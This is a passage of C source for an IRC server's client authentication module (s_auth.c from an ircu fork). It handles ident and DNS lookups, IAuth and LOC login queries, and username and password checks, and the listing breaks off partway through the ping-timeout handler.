fixed ssl.c bug when ssl backend returns IO_BLOCKED but IO engine doesn't get informe...
[ircu2.10.12-pk.git] / ircd / s_auth.c
1 /************************************************************************
2  *   IRC - Internet Relay Chat, src/s_auth.c
3  *   Copyright (C) 1992 Darren Reed
4  *
5  *   This program is free software; you can redistribute it and/or modify
6  *   it under the terms of the GNU General Public License as published by
7  *   the Free Software Foundation; either version 1, or (at your option)
8  *   any later version.
9  *
10  *   This program is distributed in the hope that it will be useful,
11  *   but WITHOUT ANY WARRANTY; without even the implied warranty of
12  *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
13  *   GNU General Public License for more details.
14  *
15  *   You should have received a copy of the GNU General Public License
16  *   along with this program; if not, write to the Free Software
17  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
18  *
19  * Changes:
20  *   July 6, 1999 - Rewrote most of the code here. When a client connects
21  *     to the server and passes initial socket validation checks, it
22  *     is owned by this module (auth) which returns it to the rest of the
23  *     server when dns and auth queries are finished. Until the client is
24  *     released, the server does not know it exists and does not process
25  *     any messages from it.
26  *     --Bleep  Thomas Helvey <tomh@inxpress.net>
27  *
28  *  December 26, 2005 - Rewrite the flag handling and integrate that with
29  *     an IRCnet-style IAuth protocol.
30  *     -- Michael Poole
31  */
32 /** @file
33  * @brief Implementation of DNS and ident lookups.
34  * @version $Id: s_auth.c 1843 2007-11-17 14:12:37Z entrope $
35  */
36 #include "config.h"
37
38 #include "s_auth.h"
39 #include "class.h"
40 #include "client.h"
41 #include "hash.h"
42 #include "IPcheck.h"
43 #include "ircd.h"
44 #include "ircd_alloc.h"
45 #include "ircd_chattr.h"
46 #include "ircd_events.h"
47 #include "ircd_features.h"
48 #include "ircd_log.h"
49 #include "ircd_osdep.h"
50 #include "ircd_reply.h"
51 #include "ircd_snprintf.h"
52 #include "ircd_string.h"
53 #include "list.h"
54 #include "msg.h"        /* for MAXPARA */
55 #include "numeric.h"
56 #include "numnicks.h"
57 #include "querycmds.h"
58 #include "random.h"
59 #include "res.h"
60 #include "s_bsd.h"
61 #include "s_conf.h"
62 #include "s_debug.h"
63 #include "s_misc.h"
64 #include "s_user.h"
65 #include "send.h"
66 #include "sys.h"
67
68 #include <errno.h>
69 #include <string.h>
70 #include <stdio.h>
71 #include <stdlib.h>
72 #include <unistd.h>
73 #include <fcntl.h>
74 #include <sys/socket.h>
75 #include <sys/ioctl.h>
76
77 /** Pending operations during registration. */
78 enum AuthRequestFlag {
79     AR_AUTH_PENDING,    /**< ident connecting or waiting for response */
80     AR_DNS_PENDING,     /**< dns request sent, waiting for response */
81     AR_CAP_PENDING,     /**< in middle of CAP negotiations */
82     AR_LOC_PENDING,     /**< LOC reply is awaited */
83     AR_NEEDS_PONG,      /**< user has not PONGed */
84     AR_NEEDS_USER,      /**< user must send USER command */
85     AR_NEEDS_NICK,      /**< user must send NICK command */
86     AR_LAST_SCAN = AR_NEEDS_NICK, /**< maximum flag to scan through */
87     AR_IAUTH_PENDING,   /**< iauth request sent, waiting for response */
88     AR_IAUTH_HURRY,     /**< we told iauth to hurry up */
89     AR_IAUTH_USERNAME,  /**< iauth sent a username (preferred or forced) */
90     AR_IAUTH_FUSERNAME, /**< iauth sent a forced username */
91     AR_PASSWORD_CHECKED, /**< client password already checked */
92     AR_LOC_SENT,        /**< LOC query already sent. */
93     AR_LOC_FORCE,       /**< Force kill if LOC failed. */
94     AR_NUM_FLAGS
95 };
96
97 DECLARE_FLAGSET(AuthRequestFlags, AR_NUM_FLAGS);
98
99 /** Stores registration state of a client. */
100 struct AuthRequest {
101   struct AuthRequest* next;       /**< linked list node ptr */
102   struct AuthRequest* prev;       /**< linked list node ptr */
103   struct Client*      client;     /**< pointer to client struct for request */
104   struct irc_sockaddr local;      /**< local endpoint address */
105   struct irc_in_addr  original;   /**< original client IP address */
106   struct Socket       socket;     /**< socket descriptor for auth queries */
107   struct Timer        timeout;    /**< timeout timer for ident and dns queries */
108   struct AuthRequestFlags flags;  /**< current state of request */
109   unsigned int        cookie;     /**< cookie the user must PONG */
110   unsigned short      port;       /**< client's remote port number */
111   unsigned int        numeric;    /**< unregistered client numeric */
112   char                loc_user[ACCOUNTLEN];
113   char                loc_pass[PASSWDLEN];
114 };
115
116 /** Array of message text (with length) pairs for AUTH status
117  * messages.  Indexed using #ReportType.
118  */
119 static struct {
120   const char*  message;
121   unsigned int length;
122 } HeaderMessages [] = {
123 #define MSG(STR) { STR, sizeof(STR) - 1 }
124   MSG("NOTICE AUTH :*** Looking up your hostname\r\n"),
125   MSG("NOTICE AUTH :*** Found your hostname\r\n"),
126   MSG("NOTICE AUTH :*** Couldn't look up your hostname\r\n"),
127   MSG("NOTICE AUTH :*** Checking Ident\r\n"),
128   MSG("NOTICE AUTH :*** Got ident response\r\n"),
129   MSG("NOTICE AUTH :*** No ident response\r\n"),
130   MSG("NOTICE AUTH :*** \r\n"),
131   MSG("NOTICE AUTH :*** Your forward and reverse DNS do not match, "
132     "ignoring hostname.\r\n"),
133   MSG("NOTICE AUTH :*** Invalid hostname\r\n"),
134   MSG("NOTICE AUTH :*** Checking login\r\n"),
135   MSG("NOTICE AUTH :*** Login rejected\r\n"),
136   MSG("NOTICE AUTH :*** Login accepted\r\n"),
137 #undef MSG
138 };
139
140 /** Enum used to index messages in the HeaderMessages[] array. */
141 typedef enum {
142   REPORT_DO_DNS,
143   REPORT_FIN_DNS,
144   REPORT_FAIL_DNS,
145   REPORT_DO_ID,
146   REPORT_FIN_ID,
147   REPORT_FAIL_ID,
148   REPORT_FAIL_IAUTH,
149   REPORT_IP_MISMATCH,
150   REPORT_INVAL_DNS,
151   REPORT_DO_LOC,
152   REPORT_FAIL_LOC,
153   REPORT_DONE_LOC
154 } ReportType;
155
156 /** Sends response \a r (from #ReportType) to client \a c. */
157 #define sendheader(c, r) \
158    sendrawto_one(c, "%s", HeaderMessages[(r)].message)
159    //ssl_send(cli_fd(c), cli_socket(c).ssl, HeaderMessages[(r)].message, HeaderMessages[(r)].length)
160
161 /** Enumeration of IAuth connection flags. */
162 enum IAuthFlag
163 {
164   IAUTH_BLOCKED,                        /**< socket buffer full */
165   IAUTH_CLOSING,                        /**< candidate to be disposed */
166   /* The following flags are controlled by iauth's "O" options command. */
167   IAUTH_ADDLINFO,                       /**< Send additional info
168                                          * (password and username). */
169   IAUTH_FIRST_OPTION = IAUTH_ADDLINFO,  /**< First flag that is a policy option. */
170   IAUTH_REQUIRED,                       /**< IAuth completion required for registration. */
171   IAUTH_TIMEOUT,                        /**< Refuse new connections if IAuth is behind. */
172   IAUTH_EXTRAWAIT,                      /**< Give IAuth extra time to answer. */
173   IAUTH_UNDERNET,                       /**< Enable Undernet extensions. */
174   IAUTH_LAST_FLAG                       /**< total number of flags */
175 };
176 /** Declare a bitset structure indexed by IAuthFlag. */
177 DECLARE_FLAGSET(IAuthFlags, IAUTH_LAST_FLAG);
178
179 /** Describes state of an IAuth connection. */
180 struct IAuth {
181   struct MsgQ i_sendQ;                  /**< messages queued to send */
182   struct Socket i_socket;               /**< main socket to iauth */
183   struct Socket i_stderr;               /**< error socket for iauth */
184   struct IAuthFlags i_flags;            /**< connection state/status/flags */
185   uint64_t i_recvB;                     /**< bytes received */
186   uint64_t i_sendB;                     /**< bytes sent */
187   time_t started;                       /**< time that this instance was started */
188   unsigned int i_recvM;                 /**< messages received */
189   unsigned int i_sendM;                 /**< messages sent */
190   unsigned int i_count;                 /**< characters used in i_buffer */
191   unsigned int i_errcount;              /**< characters used in i_errbuf */
192   int i_debug;                          /**< debug level */
193   char i_buffer[BUFSIZE+1];             /**< partial unprocessed line from server */
194   char i_errbuf[BUFSIZE+1];             /**< partial unprocessed error line */
195   char *i_version;                      /**< iauth version string */
196   struct SLink *i_config;               /**< configuration string list */
197   struct SLink *i_stats;                /**< statistics string list */
198   char **i_argv;                        /**< argument list */
199 };
200
201 /** Return whether flag \a flag is set on \a iauth. */
202 #define IAuthHas(iauth, flag) ((iauth) && FlagHas(&(iauth)->i_flags, flag))
203 /** Set flag \a flag on \a iauth. */
204 #define IAuthSet(iauth, flag) FlagSet(&(iauth)->i_flags, flag)
205 /** Clear flag \a flag from \a iauth. */
206 #define IAuthClr(iauth, flag) FlagClr(&(iauth)->i_flags, flag)
207 /** Get connected flag for \a iauth. */
208 #define i_GetConnected(iauth) ((iauth) && s_fd(i_socket(iauth)) > -1)
209
210 /** Return socket event generator for \a iauth. */
211 #define i_socket(iauth) (&(iauth)->i_socket)
212 /** Return stderr socket for \a iauth. */
213 #define i_stderr(iauth) (&(iauth)->i_stderr)
214 /** Return outbound message queue for \a iauth. */
215 #define i_sendQ(iauth) (&(iauth)->i_sendQ)
216 /** Return debug level for \a iauth. */
217 #define i_debug(iauth) ((iauth)->i_debug)
218
219 /** Active instance of IAuth. */
220 static struct IAuth *iauth;
221 /** Freelist of AuthRequest structures. */
222 static struct AuthRequest *auth_freelist;
223 /** Set to 1 if iauth is required to proceed a client, otherwise 0. */
224 static int iauth_required;
225
226 /** Array of unregistered clients indexed by numeric. */
227 static struct AuthRequest *uclient_list[MAXCONNECTIONS];
228
229 static void iauth_sock_callback(struct Event *ev);
230 static void iauth_stderr_callback(struct Event *ev);
231 static int sendto_iauth(struct Client *cptr, const char *format, ...);
232 static int preregister_user(struct Client *cptr, signed int stop);
233 typedef int (*iauth_cmd_handler)(struct IAuth *iauth, struct Client *cli,
234                                  int parc, char **params);
235 static void iauth_disconnect(struct IAuth *iauth);
236 int iauth_do_spawn(struct IAuth *iauth, int automatic);
237
238 /** Register a new unregistered client numeric.
239  * This numeric is totally independent from the numnicks in numnicks.c.
240  * Don't mix them up!
241  * This numeric is only valid while the user is in the unregistered state.
242  */
243 static int auth_set_numnick(struct AuthRequest *auth) {
244   static unsigned int last_uclient = 0;
245   unsigned int count = 0;
246
247   while(uclient_list[last_uclient]) {
248     ++count;
249     if(count == MAXCONNECTIONS) {
250       assert(count < MAXCONNECTIONS && "More pending client registrations than connections, abort!");
251       return 0;
252     }
253     ++last_uclient;
254     if(last_uclient == MAXCONNECTIONS) last_uclient = 0;
255   }
256   uclient_list[last_uclient] = auth;
257   auth->numeric = last_uclient;
258   if(++last_uclient == MAXCONNECTIONS) last_uclient = 0;
259   return 1;
260 }
261
262 /** Unregisters an unregistered client numeric.
263  * See auth_set_numnick for information.
264  */
265 static void auth_unset_numnick(struct AuthRequest *auth) {
266   uclient_list[auth->numeric] = NULL;
267   auth->numeric = 0;
268 }
269
270 /** Finds an AuthRequest related to an unregistered client numeric.
271  * See auth_set_numnick for information.
272  */
273 static struct AuthRequest *auth_find_numnick(const char *numnick) {
274   unsigned int num;
275
276   num = base64toint(numnick);
277   if(num >= MAXCONNECTIONS) return NULL;
278   return uclient_list[num];
279 }
280
281 /** Sends a LOC query.
282  * We check for FEAT_LOC_ENABLE, search for the nick and discard the query
283  * if one check fails.
284  */
285 static signed int auth_loc_send(struct AuthRequest *auth) {
286     struct Client *acptr;
287     char buf[4];
288     const char *host, *ip, *ident, *format;
289
290     if(!auth) return 1;
291     if(!FlagHas(&auth->flags, AR_LOC_PENDING) ||
292         FlagHas(&auth->flags, AR_LOC_SENT) ||
293         FlagHas(&auth->flags, AR_DNS_PENDING) ||
294         FlagHas(&auth->flags, AR_NEEDS_USER) ||
295         FlagHas(&auth->flags, AR_AUTH_PENDING)) return 1;
296
297     inttobase64(buf, auth->numeric, 3);
298     buf[3] = 0;
299
300     host = cli_sockhost(auth->client);
301     if(!host || !*host) host = NULL;
302     ip = cli_sock_ip(auth->client);
303     if(IsIdented(auth->client))
304         ident = cli_username(auth->client);
305     else
306         ident = cli_user(auth->client)->username;
307
308     if(!ident || !*ident) ident = "unknown";
309
310     if(feature_str(FEAT_LOC_TARGET) && (acptr = FindUser(feature_str(FEAT_LOC_TARGET))) && IsNetServ(acptr) && IsService(cli_user(acptr)->server)) {
311         if(IsIdented(auth->client) && host) format = "%C LQ !%s%s %s %s %s %s :%s";
312         else if(IsIdented(auth->client)) format = "%C LQ !%s%s %s %s%s %s :%s";
313         else if(host) format = "%C LQ !%s%s %s %s %s ~%s :%s";
314         else format = "%C LQ !%s%s %s %s%s ~%s :%s";
315
316         sendcmdto_one(&me, CMD_RELAY, acptr, format, acptr,
317                       cli_yxx(&me), buf, auth->loc_user, ip, host?host:"",
318                       ident, auth->loc_pass);
319         FlagSet(&auth->flags, AR_LOC_SENT);
320     }
321     else {
322         sendheader(auth->client, REPORT_FAIL_LOC);
323         FlagClr(&auth->flags, AR_LOC_PENDING);
324         if(FlagHas(&auth->flags, AR_LOC_FORCE)) {
325             exit_client(auth->client, auth->client, &me, "LOC Failed");
326             return 0;
327         }
328     }
329     return 1;
330 }
331
332 /** Set username for user associated with \a auth.
333  * @param[in] auth Client authorization request to work on.
334  * @return Zero if client is kept, CPTR_KILLED if client rejected.
335  */
336 static int auth_set_username(struct AuthRequest *auth)
337 {
338   struct Client *sptr = auth->client;
339   struct User   *user = cli_user(sptr);
340   char *d;
341   char *s;
342   int   rlen = USERLEN;
343   int   killreason;
344   char  ch;
345   char  last;
346   unsigned int i;
347
348   if (FlagHas(&auth->flags, AR_IAUTH_USERNAME))
349   {
350       ircd_strncpy(cli_user(sptr)->username, cli_username(sptr), USERLEN);
351   }
352   else
353   {
354     /* Copy username from source to destination.  Since they may be the
355      * same, and we may prefix with a '~', use a buffer character (ch)
356      * to hold the next character to copy.
357      */
358     s = IsIdented(sptr) ? cli_username(sptr) : user->username;
359     last = *s++;
360     d = user->username;
361     if (HasFlag(sptr, FLAG_DOID) && !IsIdented(sptr))
362     {
363       *d++ = '~';
364       --rlen;
365     }
366     while (last && !IsCntrl(last) && rlen--)
367     {
368       ch = *s++;
369       *d++ = IsUserChar(last) ? last : '_';
370       last = (ch != '~') ? ch : '_';
371     }
372     *d = 0;
373   }
374
375   /* If username is empty or just ~, reject. */
376   if ((user->username[0] == '\0')
377       || ((user->username[0] == '~') && (user->username[1] == '\0')))
378     return exit_client(sptr, sptr, &me, "USER: Bogus userid.");
379
380   /* Check for K- or G-line. */
381   killreason = find_kill(sptr);
382   if (killreason) {
383     ServerStats->is_ref++;
384     return exit_client(sptr, sptr, &me,
385                        (killreason == -1 ? "K-lined" : "G-lined"));
386   }
387
388   if (!FlagHas(&auth->flags, AR_IAUTH_FUSERNAME))
389 #if 1
390   {
391     for(i = 0; user->username[i]; ++i) {
392       if(user->username[i] > 126 || user->username[i] < 1) goto badid;
393     }
394   }
395 #else
396   {
397     /* Check for mixed case usernames, meaning probably hacked.  Jon2 3-94
398      * Explanations of rules moved to where it is checked     Entrope 2-06
399      */
400     s = d = user->username + (user->username[0] == '~');
401     for (last = '\0';
402          (ch = *d++) != '\0';
403          pos++, last = ch)
404     {
405       if (IsLower(ch))
406       {
407         lower++;
408       }
409       else if (IsUpper(ch))
410       {
411         upper++;
412         /* Accept caps as leading if we haven't seen lower case or digits yet. */
413         if ((leadcaps || pos == 0) && !lower && !digits)
414           leadcaps++;
415       }
416       else if (IsDigit(ch))
417       {
418         digits++;
419         if (pos == 0 || !IsDigit(last))
420         {
421           digitgroups++;
422           /* If more than two groups of digits, reject. */
423           if (digitgroups > 2)
424             goto badid;
425         }
426       }
427       else if (ch == '-' || ch == '_' || ch == '.')
428       {
429         other++;
430         /* If -_. exist at start, consecutively, or more than twice, reject. */
431         if (pos == 0 || last == '-' || last == '_' || last == '.' || other > 2)
432           goto badid;
433       }
434       else /* All other punctuation is rejected. */
435         goto badid;
436     }
437
438     /* If mixed case, first must be capital, but no more than three;
439      * but if three capitals, they must all be leading. */
440     if (lower && upper && (!leadcaps || leadcaps > 3 ||
441                            (upper > 2 && upper > leadcaps)))
442       goto badid;
443     /* If two different groups of digits, one must be either at the
444      * start or end. */
445     if (digitgroups == 2 && !(IsDigit(s[0]) || IsDigit(ch)))
446       goto badid;
447     /* Must have at least one letter. */
448     if (!lower && !upper)
449       goto badid;
450     /* Final character must not be punctuation. */
451     if (!IsAlnum(last))
452       goto badid;
453   }
454 #endif
455
456   return 0;
457
458 badid:
459   /* If we confirmed their username, and it is what they claimed,
460    * accept it. */
461   if (IsIdented(sptr) && !strcmp(cli_username(sptr), user->username))
462     return 0;
463
464   ServerStats->is_ref++;
465   send_reply(sptr, SND_EXPLICIT | ERR_INVALIDUSERNAME,
466              ":Your username is invalid.");
467   send_reply(sptr, SND_EXPLICIT | ERR_INVALIDUSERNAME,
468              ":Connect with your real username, in lowercase.");
469   send_reply(sptr, SND_EXPLICIT | ERR_INVALIDUSERNAME,
470              ":If your mail address were foo@bar.com, your username "
471              "would be foo.");
472   return exit_client(sptr, sptr, &me, "USER: Bad username");
473 }
474
475 /** Check whether an authorization request is complete.
476  * This means that no flags from 0 to #AR_LAST_SCAN are set on \a auth.
477  * If #AR_IAUTH_PENDING is set, optionally go into "hurry" state.  If
478  * 0 through #AR_LAST_SCAN and #AR_IAUTH_PENDING are all clear,
479  * destroy \a auth, clear the password, set the username, and register
480  * the client.
481  * @param[in] auth Authorization request to check.
482  * @return Zero if client is kept, CPTR_KILLED if client rejected.
483  */
484 static int check_auth_finished(struct AuthRequest *auth)
485 {
486   enum AuthRequestFlag flag;
487   int res;
488
489   /* Check whether to send LOC query. */
490   if(FlagHas(&auth->flags, AR_LOC_PENDING) &&
491      !FlagHas(&auth->flags, AR_LOC_SENT) &&
492      !FlagHas(&auth->flags, AR_DNS_PENDING) &&
493      !FlagHas(&auth->flags, AR_NEEDS_USER) &&
494      !FlagHas(&auth->flags, AR_AUTH_PENDING)) {
495     if(!auth_loc_send(auth)) return CPTR_KILLED;
496     return 0;
497   }
498
499   /* Check non-iauth registration blocking flags. */
500   for (flag = 0; flag <= AR_LAST_SCAN; ++flag)
501     if (FlagHas(&auth->flags, flag))
502     {
503       Debug((DEBUG_INFO, "Auth %p [%d] still has flag %d", auth,
504              cli_fd(auth->client), flag));
505       return 0;
506     }
507
508   /* If appropriate, do preliminary assignment to connection class. */
509   if (IsUserPort(auth->client)
510       && !FlagHas(&auth->flags, AR_IAUTH_HURRY)
511       && preregister_user(auth->client, 1))
512     return CPTR_KILLED;
513
514   /* Check if iauth is done. */
515   if (FlagHas(&auth->flags, AR_IAUTH_PENDING))
516   {
517     /* Switch auth request to hurry-up state. */
518     if (!FlagHas(&auth->flags, AR_IAUTH_HURRY))
519     {
520       /* Set "hurry" flag in auth request. */
521       FlagSet(&auth->flags, AR_IAUTH_HURRY);
522
523       /* If iauth wants it, send notification. */
524       if (IAuthHas(iauth, IAUTH_UNDERNET))
525         sendto_iauth(auth->client, "H %s", get_client_class(auth->client));
526
527       /* If iauth wants it, give client more time. */
528       if (IAuthHas(iauth, IAUTH_EXTRAWAIT))
529         cli_firsttime(auth->client) = CurrentTime;
530     }
531
532     Debug((DEBUG_INFO, "Auth %p [%d] still has flag %d", auth,
533            cli_fd(auth->client), AR_IAUTH_PENDING));
534     return 0;
535   }
536   else
537     FlagSet(&auth->flags, AR_IAUTH_HURRY);
538
539   /* Class assignment is done after IAUTH is done. */
540   if (IsUserPort(auth->client)) {
541     if(preregister_user(auth->client, 0))
542       return CPTR_KILLED;
543
544     if(!FlagHas(&auth->flags, AR_PASSWORD_CHECKED)) {
545       struct ConfItem *aconf;
546       aconf = cli_confs(auth->client)->value.aconf;
547       if (aconf
548           && !EmptyString(aconf->passwd)
549           && strcmp(cli_passwd(auth->client), aconf->passwd))
550       {
551         ServerStats->is_ref++;
552         send_reply(auth->client, ERR_PASSWDMISMATCH);
553         return exit_client(auth->client, auth->client, &me, "Bad Password");
554       }
555       FlagSet(&auth->flags, AR_PASSWORD_CHECKED);
556     }
557   }
558
559   if (IsUserPort(auth->client))
560   {
561     memset(cli_passwd(auth->client), 0, sizeof(cli_passwd(auth->client)));
562     res = auth_set_username(auth);
563     if (res == 0)
564       res = register_user(auth->client, auth->client);
565   }
566   else
567     res = 0;
568   if (res == 0)
569     destroy_auth_request(auth);
570   return res;
571 }
572
573 /** Verify that a hostname is valid, i.e., only contains characters
574  * valid for a hostname and that a hostname is not too long.
575  * @param host Hostname to check.
576  * @param maxlen Maximum length of hostname, not including NUL terminator.
577  * @return Non-zero if the hostname is valid.
578  */
579 static int
580 auth_verify_hostname(const char *host, int maxlen)
581 {
582   int i;
583
584   /* Walk through the host name */
585   for (i = 0; host[i]; i++)
586     /* If it's not a hostname character or if it's too long, return false */
587     if (!IsHostChar(host[i]) || i >= maxlen)
588       return 0;
589
590   return 1; /* it's a valid hostname */
591 }
592
593 /** Check whether a client already has a CONF_CLIENT configuration
594  * item.
595  *
596  * @return A pointer to the client's first CONF_CLIENT, or NULL if
597  *   there are none.
598  */
599 static struct ConfItem *find_conf_client(struct Client *cptr)
600 {
601   struct SLink *list;
602
603   for (list = cli_confs(cptr); list != NULL; list = list->next) {
604     struct ConfItem *aconf;
605     aconf = list->value.aconf;
606     if (aconf->status & CONF_CLIENT)
607       return aconf;
608   }
609
610   return NULL;
611 }
612
613 /** Assign a client to a connection class.
614  * @param[in] cptr Client to assign to a class.
615  * @return Zero if client is kept, CPTR_KILLED if rejected.
616  */
617 static int preregister_user(struct Client *cptr, signed int stop)
618 {
619   static time_t last_too_many1;
620   static time_t last_too_many2;
621
622   ircd_strncpy(cli_user(cptr)->host, cli_sockhost(cptr), HOSTLEN);
623   ircd_strncpy(cli_user(cptr)->realhost, cli_sockhost(cptr), HOSTLEN);
624
625   if(find_conf_client(cptr) || stop) return 0;
626
627   switch (conf_check_client(cptr))
628   {
629   case ACR_OK:
630     break;
631   case ACR_NO_AUTHORIZATION:
632     sendto_opmask_butone(0, SNO_UNAUTH, "Unauthorized connection from %s.",
633                          get_client_name(cptr, HIDE_IP));
634     ++ServerStats->is_ref;
635     return exit_client(cptr, cptr, &me,
636                        "No Authorization - use another server");
637   case ACR_TOO_MANY_IN_CLASS:
638     sendto_opmask_butone_ratelimited(0, SNO_TOOMANY, &last_too_many1,
639                                      "Too many connections in class %s for %s.",
640                                      get_client_class(cptr),
641                                      get_client_name(cptr, SHOW_IP));
642     ++ServerStats->is_ref;
643     return exit_client(cptr, cptr, &me,
644                        "Sorry, your connection class is full - try "
645                        "again later or try another server");
646   case ACR_TOO_MANY_FROM_IP:
647     sendto_opmask_butone_ratelimited(0, SNO_TOOMANY, &last_too_many2,
648                                      "Too many connections from same IP for %s.",
649                                      get_client_name(cptr, SHOW_IP));
650     ++ServerStats->is_ref;
651     return exit_client(cptr, cptr, &me,
652                        "Too many connections from your host");
653   case ACR_ALREADY_AUTHORIZED:
654     /* Can this ever happen? */
655   case ACR_BAD_SOCKET:
656     ++ServerStats->is_ref;
657     IPcheck_connect_fail(cptr);
658     return exit_client(cptr, cptr, &me, "Unknown error -- Try again");
659   }
660   return 0;
661 }
662
663 /** Send the ident server a query giving "theirport , ourport". The
664  * write is only attempted *once* so it is deemed to be a fail if the
665  * entire write doesn't write all the data given.  This shouldn't be a
666  * problem since the socket should have a write buffer far greater
667  * than this message to store it in should problems arise. -avalon
668  * @param[in] auth The request to send.
669  */
670 static void send_auth_query(struct AuthRequest* auth)
671 {
672   char               authbuf[32];
673   unsigned int       count;
674
675   assert(0 != auth);
676
677   ircd_snprintf(0, authbuf, sizeof(authbuf), "%hu , %hu\r\n",
678                 auth->port, auth->local.port);
679
680   if (IO_SUCCESS != os_send_nonb(s_fd(&auth->socket), authbuf, strlen(authbuf), &count)) {
681     close(s_fd(&auth->socket));
682     socket_del(&auth->socket);
683     s_fd(&auth->socket) = -1;
684     ++ServerStats->is_abad;
685     if (IsUserPort(auth->client))
686       sendheader(auth->client, REPORT_FAIL_ID);
687     FlagClr(&auth->flags, AR_AUTH_PENDING);
688     check_auth_finished(auth);
689   }
690 }
691
692 /** Enum used to index ident reply fields in a human-readable way. */
693 enum IdentReplyFields {
694   IDENT_PORT_NUMBERS,
695   IDENT_REPLY_TYPE,
696   IDENT_OS_TYPE,
697   IDENT_INFO,
698   USERID_TOKEN_COUNT
699 };
700
701 /** Parse an ident reply line and extract the userid from it.
702  * @param[in] reply The ident reply line.
703  * @return The userid, or NULL on parse failure.
704  */
705 static char* check_ident_reply(char* reply)
706 {
707   char* token;
708   char* end;
709   char* vector[USERID_TOKEN_COUNT];
710   int count = token_vector(reply, ':', vector, USERID_TOKEN_COUNT);
711
712   if (USERID_TOKEN_COUNT != count)
713     return 0;
714   /*
715    * second token is the reply type
716    */
717   token = vector[IDENT_REPLY_TYPE];
718   if (EmptyString(token))
719     return 0;
720
721   while (IsSpace(*token))
722     ++token;
723
724   if (0 != strncmp(token, "USERID", 6))
725     return 0;
726
727   /*
728    * third token is the os type
729    */
730   token = vector[IDENT_OS_TYPE];
731   if (EmptyString(token))
732     return 0;
733   while (IsSpace(*token))
734    ++token;
735
736   /*
737    * Unless "OTHER" is specified as the operating system
738    * type, the server is expected to return the "normal"
739    * user identification of the owner of this connection.
740    * "Normal" in this context may be taken to mean a string
741    * of characters which uniquely identifies the connection
742    * owner such as a user identifier assigned by the system
743    * administrator and used by such user as a mail
744    * identifier, or as the "user" part of a user/password
745    * pair used to gain access to system resources.  When an
746    * operating system is specified (e.g., anything but
747    * "OTHER"), the user identifier is expected to be in a
748    * more or less immediately useful form - e.g., something
749    * that could be used as an argument to "finger" or as a
750    * mail address.
751    */
752   if (0 == strncmp(token, "OTHER", 5))
753     return 0;
754   /*
755    * fourth token is the username
756    */
757   token = vector[IDENT_INFO];
758   if (EmptyString(token))
759     return 0;
760   while (IsSpace(*token))
761     ++token;
762   /*
763    * look for the end of the username, terminators are '\0, @, <SPACE>, :'
764    */
765   for (end = token; *end; ++end) {
766     if (IsSpace(*end) || '@' == *end || ':' == *end)
767       break;
768   }
769   *end = '\0';
770   return token;
771 }
772
773 /** Read the reply (if any) from the ident server we connected to.  We
774  * only give it one shot, if the reply isn't good the first time fail
775  * the authentication entirely. --Bleep
776  * @param[in] auth The request to read.
777  */
778 static void read_auth_reply(struct AuthRequest* auth)
779 {
780   char*        username = 0;
781   unsigned int len;
782   /*
783    * rfc1453 sez we MUST accept 512 bytes
784    */
785   char   buf[BUFSIZE + 1];
786
787   assert(0 != auth);
788   assert(0 != auth->client);
789   assert(auth == cli_auth(auth->client));
790
791   if (IO_SUCCESS == os_recv_nonb(s_fd(&auth->socket), buf, BUFSIZE, &len)) {
792     buf[len] = '\0';
793     Debug((DEBUG_INFO, "Auth %p [%d] reply: %s", auth, cli_fd(auth->client), buf));
794     username = check_ident_reply(buf);
795     Debug((DEBUG_INFO, "Username: %s", username));
796   }
797
798   Debug((DEBUG_INFO, "Deleting auth [%d] socket %p", auth, cli_fd(auth->client)));
799   close(s_fd(&auth->socket));
800   socket_del(&auth->socket);
801   s_fd(&auth->socket) = -1;
802
803   if (EmptyString(username)) {
804     if (IsUserPort(auth->client))
805       sendheader(auth->client, REPORT_FAIL_ID);
806     ++ServerStats->is_abad;
807   } else {
808     if (IsUserPort(auth->client))
809       sendheader(auth->client, REPORT_FIN_ID);
810     ++ServerStats->is_asuc;
811     if (!FlagHas(&auth->flags, AR_IAUTH_USERNAME)) {
812       ircd_strncpy(cli_username(auth->client), username, USERLEN);
813       SetGotId(auth->client);
814     }
815     if (IAuthHas(iauth, IAUTH_UNDERNET))
816       sendto_iauth(auth->client, "u %s", username);
817   }
818
819   FlagClr(&auth->flags, AR_AUTH_PENDING);
820   if(!auth_loc_send(auth)) return;
821   check_auth_finished(auth);
822 }
823
824 /** Handle socket I/O activity.
825  * @param[in] ev A socket event whos associated data is the active
826  *   struct AuthRequest.
827  */
828 static void auth_sock_callback(struct Event* ev)
829 {
830   struct AuthRequest* auth;
831
832   assert(0 != ev_socket(ev));
833   assert(0 != s_data(ev_socket(ev)));
834
835   auth = (struct AuthRequest*) s_data(ev_socket(ev));
836
837   switch (ev_type(ev)) {
838   case ET_DESTROY: /* being destroyed */
839     break;
840
841   case ET_CONNECT: /* socket connection completed */
842     Debug((DEBUG_INFO, "Connection completed for auth %p [%d]; sending query",
843            auth, cli_fd(auth->client)));
844     socket_state(&auth->socket, SS_CONNECTED);
845     send_auth_query(auth);
846     break;
847
848   case ET_READ: /* socket is readable */
849   case ET_EOF: /* end of file on socket */
850   case ET_ERROR: /* error on socket */
851     Debug((DEBUG_INFO, "Auth socket %p [%p] readable", auth, ev_socket(ev)));
852     read_auth_reply(auth);
853     break;
854
855   default:
856     assert(0 && "Unrecognized event in auth_socket_callback().");
857     break;
858   }
859 }
860
861 /** Stop an auth request completely.
862  * @param[in] auth The struct AuthRequest to cancel.
863  */
864 void destroy_auth_request(struct AuthRequest* auth)
865 {
866   Debug((DEBUG_INFO, "Deleting auth request for %p", auth->client));
867
868   /* Unset numeric nick. */
869   auth_unset_numnick(auth);
870
871   if (FlagHas(&auth->flags, AR_DNS_PENDING)) {
872     delete_resolver_queries(auth);
873   }
874
875   if (-1 < s_fd(&auth->socket)) {
876     close(s_fd(&auth->socket));
877     socket_del(&auth->socket);
878     s_fd(&auth->socket) = -1;
879   }
880
881   if (t_active(&auth->timeout))
882     timer_del(&auth->timeout);
883
884   cli_auth(auth->client) = NULL;
885   auth->next = auth_freelist;
886   auth_freelist = auth;
887 }
888
889 /** Handle a 'ping' (authorization) timeout for a client.
890  * @param[in] cptr The client whose session authorization has timed out.
891  * @return Zero if client is kept, CPTR_KILLED if client rejected.
892  */
893 int auth_ping_timeout(struct Client *cptr)
894 {
895   struct AuthRequest *auth;
896   enum AuthRequestFlag flag;
897   signed int ret;
898
899   auth = cli_auth(cptr);
900
901   /* Check whether the auth request is gone (more likely, it never
902    * existed, as in an outbound server connection). */
903   if (!auth)
904       return exit_client_msg(cptr, cptr, &me, "Registration Timeout");
905
906   /* If the loc-query is still pending, we stop the query and
907    * register the user if possible.
